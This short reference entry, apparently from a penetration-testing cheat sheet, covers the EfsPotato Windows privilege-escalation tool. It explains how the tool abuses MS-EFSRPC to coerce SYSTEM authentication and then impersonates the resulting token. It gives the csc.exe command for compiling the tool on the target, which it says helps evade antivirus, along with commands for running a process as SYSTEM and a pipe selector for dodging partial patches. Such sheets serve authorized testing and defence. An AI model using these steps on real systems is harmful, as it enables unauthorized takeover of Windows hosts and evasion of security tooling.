EfsPotato

EfsPotato abuses the MS-EFSRPC (Encrypting File System Remote) interface to coerce the local SYSTEM account to authenticate over a named pipe, then impersonates the token to run a command as SYSTEM. It is a single self-contained source file typically compiled on the target with csc.exe, which helps evade AV signatures on prebuilt potato binaries. The optional second argument selects the named pipe (1=lsarpc, 2=efsrpc, 3=samr, 4=lsass, 5=netlogon) to dodge partial MS-EFSRPC patches. Requires SeImpersonatePrivilege. Command Reference: Privilege required: SeImpersonatePrivilege Pipe selector (optional): 2 = \pipe\efsrpc

# Compile on the target with the bundled .NET compiler
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nowarn:1691,618 /out:EfsPotato.exe EfsPotato.cs

# Run a command as SYSTEM (optional 2nd arg picks the named pipe)
EfsPotato.exe "whoami"
EfsPotato.exe "whoami" 2

Native

PrivEsc, Exploitation

Requires

Shell

Services

RPC

Refs

github.com/zcgonvh/EfsPotato

book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer